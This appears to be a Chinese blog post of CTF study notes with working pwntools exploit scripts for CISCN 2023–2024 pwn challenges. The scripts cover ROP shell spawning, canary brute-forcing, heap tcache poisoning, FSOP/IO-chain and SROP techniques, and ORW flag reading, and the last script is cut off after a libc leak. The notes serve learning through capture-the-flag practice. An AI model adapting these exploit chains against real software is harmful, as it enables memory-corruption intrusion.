CISCN刷题笔记分享
1222706425506668 发表于 湖北 CTF 424浏览 · 2024-09-28 04:47

CISCN2023

烧烤摊

  • 题目中很多中文直接跑程序看每个逻辑都是什么意思,然后看到这种计算money直接就想到负数、整数溢出,确实是这样的
  • 然后就有个scanf("%s",buf),很明显的栈溢出,题目是静态链接,没有system函数,于是打ret2syscall
  • 看题目中有sh,并且没有pie,想着execve("sh",0,0)结果发现不行,试了一下发现只有system函数才允许是sh,$0这种,execve必须是/bin/sh
  • exp
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/shaokao"
elf=ELF(file)
libc =elf.libc
p = process(file)
def dbg():
    gdb.attach(p,'b *0x401F92')


pop_rdi=0x40264f
pop_rax=0x458827
pop_rsi=0x40a67e
pop_rdx_rbp=0x4a404b
ret=0x40101a
syscall=0x402404
sh=0x4D29C0+12

p.sendlineafter("> ",str(1))
p.sendline(str(1))
p.sendline(str(-100000)) #负数溢出
p.sendlineafter("> ",str(4))

p.sendlineafter("> ",str(5))
payload=b'a'*0x28+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbp)+p64(0)*2+p64(pop_rax)+p64(0x3b)+p64(syscall)
# dbg()
p.sendline(payload)

p.interactive()

funcanary

  • 刚入门pwn学canary就听说了fork来泄露canary,这次遇到了真题,原理简单也不多说
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')

elf = ELF("/home/zp9080/PWN/pwn")
# p=remote('xyctf.top',54425)
def dbg():
    gdb.attach(p,'b *$rebase(0x1324)')
    pause()

while(1):
    p = process("/home/zp9080/PWN/pwn")
    p.recvuntil('welcome\n')
    canary = '\x00'
    for k in range(7):
        for i in range(256):
            p.send('a'*0x68 + canary + chr(i))
            a = p.recvuntil("welcome\n")
            if b"have fun" in a:
                    canary += chr(i)
                    print ("canary: ",canary)
                    break
    backdoor=0x1231
    # dbg()
    p.send('a'*0x68+canary+'a'*8+'\x31')
    if b'flag' in p.recv(50):break
    else: 
         p.close()
         continue

strange talk bot

参考博客1
参考博客2

sudo apt  install protobuf-compiler
pip install protobuf
protoc --python_out=./ ./ctf.proto
  • 这个地方本来想打house of pig orw,结果发现这个题处理protobuf时会有堆块的申请导致malloc_hook不能打,打free_hook发现IO-str-overflow的malloc执行后rdx的值被改变也不能打
  • 然后上网查发现house of apple2 orw那个magic gadget也可以用,于是想可以打这个
  • 最后想到这个堆题啥都可以申请和泄露,直接泄露栈地址打orw更快
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
import ctf_pb2
context(os='linux', arch='amd64', log_level='debug')
file_name = '/home/zp9080/PWN/bot'
elf = ELF(file_name)
libc=elf.libc
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

r = process(file_name)


def dbg():
    gdb.attach(r,'b *$rebase(0x17C7)')
    pause()

menu = 'You can try to have friendly communication with me now: \n'
def add(msgidx, msgsize, msgcontent = b''):
    d = ctf_pb2.Devicemsg()
    d.actionid = 1
    d.msgidx = msgidx
    d.msgsize = msgsize
    d.msgcontent = msgcontent
    strs = d.SerializeToString()
    r.sendafter(menu, strs)

def delete(msgidx):
    d = ctf_pb2.Devicemsg()
    d.actionid = 4
    d.msgidx = msgidx
    d.msgsize = 0
    d.msgcontent = b''
    strs = d.SerializeToString()
    r.sendafter(menu, strs)

def show(msgidx):
    d = ctf_pb2.Devicemsg()
    d.actionid = 3
    d.msgidx = msgidx
    d.msgsize = 0
    d.msgcontent = b''
    strs = d.SerializeToString()
    r.sendafter(menu, strs)

def edit(msgidx, msgcontent):
    d = ctf_pb2.Devicemsg()
    d.actionid = 2
    d.msgidx = msgidx
    d.msgsize = 0
    d.msgcontent = msgcontent
    strs = d.SerializeToString()
    r.sendafter(menu, strs)

#--------------------泄露libcbase---------------------------
for i in range(8):
    add(i, 0x80, b'a' * 8)
for i in range(8):
    delete(i)
show(7)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
libcbase = malloc_hook - libc.sym['__malloc_hook']
li('libcbase = ' + hex(libcbase))
free_hook = libcbase + libc.sym['__free_hook']

#--------------------------泄露heapbase---------------------------------
show(0)
r.recvuntil('\x00' * 8)
heapbase = u64(r.recv(6).ljust(8, b'\x00')) - 0x10
li('heapbase = ' + hex(heapbase))

#打IO-str-overflow
IO_2_1_stderr=libcbase+libc.sym['_IO_2_1_stderr_']
IO_str_vtable = libcbase + 0x1ED560
#因为返回的是mem位置,也就heapbase+0x147c0+0x10,所以只有2个p64(0)
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                      #_IO_write_base = 1
fake_IO_FILE += p64(heapbase+0x1300+0x10)                 # _IO_write_ptr 
fake_IO_FILE += p64(0)                      #_IO_write_end=0
#_IO_write_ptr -_IO_write_base>(size_t)(IO_buf_end-IO_buf_base)+flush_only 同时
fake_IO_FILE += p64(heapbase+0x8a0)                #IO_buf_base
fake_IO_FILE += p64(heapbase+0xab8)                #IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
add(8, 0xf0, b'a' * 8)
add(9, 0xf0, b'a' * 8)
delete(8)
delete(9)
edit(9, p64(IO_2_1_stderr+0x10))
add(10, 0xf0, b'a' * 8)
add(11, 0xf0, fake_IO_FILE)

#sigframe
bss=heapbase+0x200
pop_rdi=libcbase+0x26b72
pop_rsi=libcbase+0x27529
pop_rdx_r12=libcbase+0x11c1e1
ret=libcbase+0x25679
open_addr=libcbase+libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr=libcbase+libc.sym['write']
flag=heapbase+0x1510
orw=b'flag\x00\x00\x00\x00'+p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_r12)+p64(0x100)*2+p64(read_addr)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_r12)+p64(0x100)*2+p64(write_addr)+p64(0xdeadbeef)

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heapbase+0x1510+8
frame.rip = ret  # : ret
add(12,0xd0,bytes(frame)[0:0xc0])
add(13,0xd0,orw)

#----------------------tcache poison----------------------
add(14, 0x20, b'a' * 8)
add(15, 0x20, b'a' * 8)
delete(14)
delete(15)
edit(15, p64(free_hook))
setcontext = libcbase + libc.sym['setcontext'] + 61
add(16, 0x20, b'a' * 8)
add(17, 0x20, p64(setcontext))

dbg()
delete(50)

r.interactive()

shellwego

  • 一道go逆向题,最后打的是栈溢出,学习了不少东西
  • 要学会用ida graph看懂函数流程
  • 遇到ida反汇编不懂的,明显是库函数的,可以直接上网一搜就出来了
    ### 第一部分
  • 一运行程序就说要cert

  • 查看main函数,发现就只是打印一些东西,然后就进入了fun5

  • 发现了cert,而且可以看出应该有3个参数

  • 发现第二个参数应该是nAcDsMicN(可以直接用ida的shift+e然后到cipherchef的from hex功能)

  • 然后会进入fun1 那些报错处理不用管,看似那么多操作其实就是一个RC4加密然后进行base64,与JLIX8pbSvYZu/WaG字符串进行比较看看是否相同,RC4密钥也给了

  • 于是就得出cert nAcDsMicN S33UAga1n@#!

第二部分

  • 还是在fun5中,发现有ls,whoami,cd,cat flag(是个假的base64后的flag),最后重点关注在echo命令,因为这是唯一一个可能涉及写的功能
  • 进入fun4,发现有处理字符串的函数(好像在go中经常有这种字符串切片处理)

但我们的重点是这个cmp rdx,0x200h,如果比较没过为什么会直接返回,后来发现这个是检查每个字符串切片的长度要小于0x200

  • 再往下的fun3

起初以为这个函数就是用来复制的,结果发现rdi=2,说明是写向标准输出,发现没啥用

  • 最后才是真正的重点

  • 下面两条指令让我回想起学汇编时的记忆,这rbx不就是基地址,rax就是偏移,rcx估计就是用来存循环次数,同时发现rdx,rbx的值都是在原本的栈上,所以不能覆盖,这里刚好给了'+'这个符号,可以绕过

    movzx  edx, byte ptr [rbx+rax] 
    mov  byte ptr [rsp+rax+298h+var_230], dl
    
  • 实际操作的时候发现'unk_func0b04'字符出竟然也在栈上,那么调整一下padding就好了。同时原本读入的字符串存在更高的地址

exp

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/shellwego")
# p=gdb.debug("/home/zp9080/PWN/shellwego",'b *0x401265')
elf = ELF("/home/zp9080/PWN/shellwego")
def dbg():
    gdb.attach(p,'b *0x4C184F')
    pause()

dbg()
payload=b'cert nAcDsMicN S33UAga1n@#!'
p.sendline(payload)

poprdi_ret = 0x444fec
poprsi_ret = 0x41e818
poprdx_ret = 0x49e11d
poprax_ret = 0x40d9e6
syscall = 0x40328c

#unk_func0b04: 13  0xd
#用' '绕过cmp rdx,0x200
payload =b'echo '+b'a'*0x1f0 + b' ' + b'+'*0x33
payload += p64(poprdi_ret)
payload += p64(0)
payload += p64(poprax_ret)
payload += p64(0)
payload += p64(poprsi_ret)
payload += p64(0x59FE70)
payload += p64(poprdx_ret)
payload += p64(20)
payload += p64(syscall)

payload += p64(poprdi_ret)
payload += p64(0x59FE70)
payload += p64(poprax_ret)
payload += p64(59)
payload += p64(poprsi_ret)
payload += p64(0)
payload += p64(poprdx_ret)
payload += p64(0)
payload += p64(syscall)

p.sendlineafter("nightingale#",payload)
p.sendline("/bin/sh\x00")

p.interactive()

houmt

参考博客

  • 这个题利用堆并不难,难点主要是这个题有关libc的可写区都不可以用malloc申请,这导致hook和io都无法打,想打栈溢出但是发现两次show一次用来泄露heapbase,一次用来泄露libcbase,无法再用environ泄露栈地址
  • 根据wp发现了一条有意思的io链,因为题目有很多沙盒,所以显然还是要走IO路线,题目没有exit函数而是_exit所以exit_hook的rop打不了(自己也从来没打过)
  • 触发malloc_assert后,在_IO_vtable_check函数中,若当前IO_FILE中的vtable非法,就会触发_dl_addr函数

    然乎发现这个dl_addr函数怎么和exit_hook里面的_rtdl_fini()函数这么像

  • 剩下的就简单了,这里是用tcache perthread struct结构实现任意地址申请,因为就一次edit次数显然不够,所以要用这个

  • 有了上述任意函数执行那不就和IO链一样只要设置好对应的值随便打,只可惜当时做题不知道还能这样打这条链
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")

def add(content):
    io.sendlineafter("Please input your choice > ", b'1')
    io.sendafter("Please input the content : \n", content)

def edit(idx, content):
    io.sendlineafter("Please input your choice > ", b'2')
    io.sendlineafter("Please input the index : ", str(idx))
    io.sendafter("Please input the content : \n", content)

def free(idx):
    io.sendlineafter("Please input your choice > ", b'3')
    io.sendlineafter("Please input the index : ", str(idx))

def show(idx):
    io.sendlineafter("Please input your choice > ", b'4')
    io.sendlineafter("Please input the index : ", str(idx))

def quit():
    io.sendlineafter("Please input your choice > ", b'5')

if __name__ == '__main__':
    for i in range(8):
        add("\n") # 0~7
    free(0)
    show(0)
    leak = []
    for i in range(5):
        leak.append(u8(io.recv(1)))
    for i in range(3, -1, -1):
        leak[i] = leak[i] ^ leak[i+1]
    t = b''
    for i in range(5):
        t = t + p8(leak[i])
    key = u64(t.ljust(8, b'\x00'))
    success("key:\t" + hex(key))
    heap_base = key << 12;
    success("heap_base:\t" + hex(heap_base))

    for i in range(1, 6):
        free(i)
    free(7)
    free(6)
    show(6)
    leak.clear()
    for i in range(6):
        leak.append(u8(io.recv(1)))
    for i in range(4, -1, -1):
        leak[i] = leak[i] ^ leak[i+1]
    t = b''
    for i in range(6):
        t = t + p8(leak[i])
    libc_base = u64(t.ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x70
    success("libc_base:\t" + hex(libc_base))
    ld_base = libc_base + 0x1ee000

    edit(7, p64(key ^ (heap_base + 0xf0)))
    add("\n") # 8
    add(p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)) # 9

    magic_gadget = libc_base + 0x14a0a0
    add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0xf90)) # 10
    add(p64(magic_gadget)) # 11

    address = libc_base + libc.sym['__free_hook']
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = address
    frame.rdx = 0x100
    frame.rsp = address
    frame.rip = libc_base + libc.sym['read']

    free(10)
    add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0x980)) # 12
    add(p64(0)*2 + p64(ld_base + ld.sym['_rtld_global'] + 0x988) + p64(0)*2 + p64(libc_base + libc.sym['setcontext'] + 61) + bytes(frame)[0x28:]) # 13

    free(10)
    add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14
    io.sendlineafter("Please input your choice > ", b'1')

    free(10)
    add(p64(0) + p64(heap_base + 0xb10)) # 15
    add(p64(0) + p64(0x88)) # 16
    add("\n") # 17
    io.sendlineafter("Please input your choice > ", b'1') # 18

    pop_rax_ret = libc_base + 0x44c70
    pop_rdi_ret = libc_base + 0x121b1d
    pop_rsi_ret = libc_base + 0x2a4cf
    pop_rdx_ret = libc_base + 0xc7f32
    pop_rcx_rbx_ret = libc_base + 0xfc104
    pop_r8_ret = libc_base + 0x148686
    syscall = libc_base + 0x6105a

    orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)
    orw_rop += p64(pop_rsi_ret) + p64(0)
    orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
    orw_rop += p64(pop_rdi_ret) + p64(0x80000)
    orw_rop += p64(pop_rsi_ret) + p64(0x1000)
    orw_rop += p64(pop_rdx_ret) + p64(1)
    orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
    orw_rop += p64(pop_r8_ret) + p64(3)
    orw_rop += p64(libc_base + libc.sym['mmap'])
    orw_rop += p64(pop_rdi_ret) + p64(1)
    orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)
    orw_rop += p64(pop_rdx_ret) + p64(1)
    orw_rop += p64(libc_base + libc.sym['writev'])
    orw_rop += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)
    io.send(orw_rop)
    io.interactive()

muney

  1. 逆向部分
  2. 这个题前面的逆向花了不少时间,其实这就是常见的http包结构,可以参考这篇博客,主要卡在edit这个函数一直不对


当时一直没有注意到这里

  • while(1)当遇到\n\n就会退出循环,会有一个strlen来判断content的长度是否和Content-Length参数一样,遇到\x00才会停止strlen函数
  • 因此这里的edit要用sendafter而不能用sendlineafter

    ,否则统计的时候就会多一个\n导致长度多了1,就无法正确执行edit函数

  • 其实严格按照http包结构来输入就不用那么多功夫逆向了,因此http包结构是不可能改变的,只要稍加调试就可以了

  • house of muney
    参考博客1
    参考博客2
  • 这个一个新的攻击手法,只要对着博客抄作业都可以了,但是真正比赛中能发现这个攻击手法感觉好难,大部分人应该都是赛后复现的...

  • 贴一个http包的东西

def add(size):
    payload=b'POST /create HTTP/1.0\r\n'
    payload+=f'Size:{size}\r\n'.encode()
    p.sendlineafter('HTTP_Parser> ',payload)

def edit(idx,offset,content):
    payload=b'POST /edit HTTP/1.0\r\n'
    payload+=f'Idx:{idx}\r\n'.encode()
    payload+=f'Offset:{offset}\r\n'.encode()
    payload+=f'Content-Length:{len(content)}\r\n\r\n'.encode()
    payload+=content
    p.sendafter('HTTP_Parser> ',payload)

def delete(idx):
    p.recvuntil('HTTP_Parser>')
    payload=b'POST /delete HTTP/1.0\r\n'
    payload+=f'Idx:{idx}\r\n'.encode()
    p.sendlineafter('HTTP_Parser> ',payload)

CISCN2024

  • 作为笔者第一次打的国赛,当然要好好记录一下

gostack

  • 此题其实是个签到题,栈溢出其实也挺明显的,就是要能够逆向出go语言,多多加强re能力吧

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/gostack")
p=remote('8.147.133.9',13278)
elf = ELF("/home/zp9080/PWN/gostack")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *0x49150E')  #0x4A0A14
    pause()

# dbg()
#flag{dc013809-08c9-4015-ab82-e3d61166cf7c}
backdoor=0x4A0AF6
bss=0x5633A0+0x800
payload=b'a'*0x100
payload+=p64(bss)+p64(0)+p64(0x49136a)+p64(0x549e80)+p64(0x4aa800)+p64(0x4df040)+p64(bss)+p64(0x100)+p64(0x100)+p64(0x4df4e8)
payload=payload.ljust((0x1c8+8),b'a')+p64(backdoor)

p.sendlineafter("Input your magic message :",payload)
p.sendline('sh')

p.interactive()

orange_cat_diary

  • libc2.23的堆,比赛的时候打麻烦了,疯狂构造堆风水就为了edit unsorted bin chunk,(因为笔者以为libc2.23不可能实现任意地址申请到libc附近,基本没怎么打过libc2.23)赛后发现别人都通过错位构造\x7f来绕过fastbin大小检查,最后打ogg
  • 现在才认识到原来没有tcache ,fastbin也可以通过错位构造申请出libc附近地址,起初以为只有tcache 才能任意地址申请
  • exp

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/orange")
p=remote('8.147.133.63',37591)
elf = ELF("/home/zp9080/PWN/orange")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *$rebase(0xEDA )')  #0x4A0A14
    pause()
def add(size,cont):
    p.sendlineafter("Please input your choice:",str(1))
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",cont)

def show():
    p.sendlineafter("Please input your choice:",str(2))

def delete():
    p.sendlineafter("Please input your choice:",str(3))

def edit(len,cont):
    p.sendlineafter("Please input your choice:",str(4))
    p.sendlineafter("Please input the length of the diary content:",str(len))
    p.sendafter("Please enter the diary content:",cont)

#flag{082bd987-e103-41e9-a621-b99d63178784}
p.sendlineafter("name",'aaaa')
add(0x418,b'a')
add(0x318,b'a')
add(0x418-0x20,b'a')
add(0x18,b'a')  #用来edit unsorted bin
edit(0x20,p64(0x80)*3+p64(0x4a1))
add(0x500,b'a')
edit(0x500,p64(0x80)*150)

add(0x500,b'a') #进入largebin ,泄露heapbase和libcbase
add(0x78,b'a'*8)
show()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c4f88
p.recv(2)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0xb60
print(hex(libcbase))
print(hex(heapbase))
add(0x78,b'a')
add(0x78,b'a')
add(0x78,b'a')
add(0x78,b'a')
add(0x78,b'a')
add(0x78,b'a')
add(0x78,b'a')

delete()
edit(0x80,p64(heapbase+0xf60-0x10)+p64(0x80)*13+p64(heapbase+0xfe0-8)+p64(0x80))
add(0x78,b'a')
add(0x78,b'a')

io_list_all_addr=libcbase+libc.symbols['_IO_list_all']
payload=b'  sh;\x00\x00\x00'+p64(0x60)+p64(0)+p64(io_list_all_addr-0x10)+p64(1)+p64(2)+p64(0)*10
edit(0x80,payload)
vtable=heapbase+0xfe0
system=libcbase+libc.sym['system']
payload=p64(system)*((0xc0-0x88)//8)+p64(0)*3+p64(vtable)

add(0x78,b'a')
edit(0x80,payload)
p.sendlineafter("Please input your choice:",str(1))
p.sendlineafter("Please input the length of the diary content:",str(0x100))

p.interactive()

EzHeap

  • 很常规的一道堆题,不过这个题堆块结构很乱,早知道应该先add把堆块搞干净一点再做题
  • 这个题还有一个点在于add时会memset 0,所以任意地址申请_IO_list_all时add的size不能太大,不然这附近的值都变为0会影响其他函数的执行,在exp我是通过add大小为0x20的chunk让其不受影响
  • 其他就是很常规的IO打法

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
p=remote('8.147.131.196',16461)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *$rebase(0x1A62)')  
    pause()

#flag{d00314d9-958e-4ede-b71b-eb82d0b6a612}

def add(size,cont):
    p.sendlineafter("choice >> ",str(1))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",cont)

def delete(idx):
    p.sendlineafter("choice >> ",str(2))
    p.sendlineafter("idx:",str(idx))

def edit(idx,size,cont):
    p.sendlineafter("choice >> ",str(3))
    p.sendlineafter("idx:",str(idx))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",cont)

def show(idx):
    p.sendlineafter("choice >> ",str(4))
    p.sendlineafter("idx:",str(idx))

for i in range(7): #0-6
     add(0x18,b'a')

for i in range(5): #7-11
     add(0x18,b'a')

#12-18
for i in range(7):
        add(0x130,b'a')
for i in range(7):
    delete(i+12)

# off-by-one to leak libcbase 
for i in range(6):
    add(0x110,b'a')#12-17

edit(12,0x120,b'a'*0x118+p64(0x481))

delete(13)
add(0x110,b'a') #切割unsorted bin 13
edit(13,0x120,b'a'*0x120)
show(13)
p.recvuntil(b'a'*0x120)
libcbase= u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0 
print(hex(libcbase))
edit(13,0x120,b'a'*0x110+p64(0)+p64(0x361)) #修复

#泄露heapbase
delete(14)
edit(13,0x240,b'a'*(0x120))
show(13)
p.recvuntil(b'a'*(0x120))
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x2000
print(hex(heapbase))
edit(13,0x120,b'a'*0x110+p64(0)+p64(0x360))

#tcache poison
magic_gadget = libcbase + 0x16A06A
io_list_all=libcbase+libc.sym['_IO_list_all']

delete(8)
delete(9)
edit(10,0x500,b'a'*0x90+p64(0)+p64(0x21)+p64( ((heapbase+0x001970)>>12) ^ ( io_list_all)) )

syscall_ret=libcbase+0x91316
fake_IO_addr =heapbase+0x2e10-0x10
pop_rax=libcbase+0x45eb0
leave_ret = libcbase + 0x000000000004da83 #: leave ; ret
pop_rdi_ret = libcbase + 0x000000000002a3e5 #: pop rdi ; ret
pop_rsi_ret = libcbase + 0x000000000002be51 #: pop rsi ; ret
pop_rdx_r12_ret = libcbase + 0x0000000000904a9 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
orw_rop =  b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax)+p64(2)+p64(syscall_ret)
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(pop_rax)+p64(0)+p64(syscall_ret)
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(pop_rax)+p64(1)+p64(syscall_ret)


payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B   _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop

add(0x10,b'a')
add(0x10,p64(heapbase+0x2e10-0x10))

add(0x350,payload)
# dbg()
p.sendlineafter("choice >> ",str(5))

p.interactive()

ezbuf

  • 比赛中没有做出来,去年可以参考的资料太少了,还不是很懂Protobuf的具体用法,这次完全弄懂了
    ### protobuf
  • 第一个字节是这个变量的初值,初值不可以随意赋值
  • +4偏移的数字还不知道是什么含义,但不影响做题
  • +8偏移的这个至关重要,这决定着在protobuf中这个是什么类型的变量,具体要参考下表,其实就是一个从0开始的偏移,比如这个0xf,那就是对应着0xf偏移也就是bytes类型
  • 0x10偏移处就是对应着这个偏移

  • 这个题中whatsthis+8偏移是6,所以是uint32类型
typedef enum {
 PROTOBUF_C_TYPE_INT32,   0   /**< int32 */
 PROTOBUF_C_TYPE_SINT32,  1   /**< signed int32 */
 PROTOBUF_C_TYPE_SFIXED32, 2  /**< signed int32 (4 bytes) */
 PROTOBUF_C_TYPE_INT64,   3   /**< int64 */
 PROTOBUF_C_TYPE_SINT64,  4   /**< signed int64 */
 PROTOBUF_C_TYPE_SFIXED64, 5  /**< signed int64 (8 bytes) */
 PROTOBUF_C_TYPE_UINT32,   6  /**< unsigned int32 */
 PROTOBUF_C_TYPE_FIXED32,  7  /**< unsigned int32 (4 bytes) */
 PROTOBUF_C_TYPE_UINT64,   8  /**< unsigned int64 */
 PROTOBUF_C_TYPE_FIXED64, 9   /**< unsigned int64 (8 bytes) */
 PROTOBUF_C_TYPE_FLOAT,   10   /**< float */
 PROTOBUF_C_TYPE_DOUBLE,   11  /**< double */
 PROTOBUF_C_TYPE_BOOL,   12    /**< boolean */
 PROTOBUF_C_TYPE_ENUM,   13  /**< enumerated type */
 PROTOBUF_C_TYPE_STRING,  14   /**< UTF-8 or ASCII string */
 PROTOBUF_C_TYPE_BYTES,   15   /**< arbitrary byte sequence */
 PROTOBUF_C_TYPE_MESSAGE,  16   /**< nested message */
} ProtobufCType;
  • 此题的probuf就可以写出来了,发现message后的名称和题中不同也不影响交互,比如此题是heybro,不和这个相同也不影响
syntax = "proto2";
message devicemsg{
    required bytes whatcon = 1;
    required sint64 whattodo = 2;
    required sint64 whatidx = 3;
    required sint64 whatsize=4; 
    required uint32 whatsthis=5;  
}

题目分析

  • add

  • delete

  • show

  • clean

  • 这个题要留意的是data也就是msg是在堆上的,是会根据其大小得到相应大小的堆块,同时数据会复制到该堆块上,这个地方非常有用

  • delete有uaf,说明可以double free,但是有次数限制
  • show有两个地方没什么用,同时如果show三次就会close(1),close(2),显然show两次是最好的,一次heapbase,一次libcbase
  • clean看似什么都没做,实际上处理输入的msg,会申请堆块
    ### 做题过程
  • heapbase是很好泄露的
  • libcbase是这样的泄露的:由于这种题涉及到很多的堆块操作,因此一开始堆块结构是很乱的。可以看到一开始有smallbin,同时注意到add有memcpy,因此data可以申请到这里的堆块复制到chunk,然后show就可以泄露了

  • delete次数有限如何做到多次任意地址申请,显然是要通过tcache_perthread结构(但是可以edit大小有限,因此得想办法edit更大的区域),通过仅有的一次fastbin double free申请得到heapbase+0xf0。

  • 注意到一开始bin中有个0xf0 tcache chunk,那么可以通过修改tcache_perthread结构将这个chunk改为heapbase+0x10,然后通过clean函数处理msg就实现了可以edit 0xe0大小的tcache_perthread结构

  • 剩下的就不是很难了,一开始准备申请出environ泄露stack,但是memcpy的赋值会覆盖原本存的值,而且show三次会关闭标准输入输出,所以最后通过打stdout来泄露出stack,然后orw就行了

exp

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
import devicemsg_pb2
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *$rebase(0x1994)')  
    pause()

menu="WHAT DO YOU WANT?\n"
def add(msgidx, msgdent):
    d = devicemsg_pb2.devicemsg()
    d.whatcon = msgdent
    d.whattodo= 1
    d.whatidx = msgidx
    d.whatsize=0
    d.whatsthis=0
    strs = d.SerializeToString()
    p.sendafter(menu, strs)

def delete(msgidx):
    d = devicemsg_pb2.devicemsg()
    d.whatcon = b''
    d.whattodo= 2
    d.whatidx = msgidx
    d.whatsize=0
    d.whatsthis=0
    strs = d.SerializeToString()
    p.sendafter(menu, strs)

def show(msgidx):
    d = devicemsg_pb2.devicemsg()
    d.whatcon = b''
    d.whattodo= 3
    d.whatidx = msgidx
    d.whatsize=0x20
    d.whatsthis=0x20
    strs = d.SerializeToString()
    p.sendafter(menu, strs)

def clean(msg):
    d = devicemsg_pb2.devicemsg()
    d.whatcon=msg
    d.whattodo=0
    d.whatidx=0
    d.whatsize=0x20
    d.whatsthis=0x20
    p.sendafter("WHAT DO YOU WANT?",d.SerializeToString())


#泄露libcbase
dbg()
for i in range(9):
    add(i,b"a"*8)
show(0)
p.recvuntil(b'a'*8)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x219ce0 - 0x1000
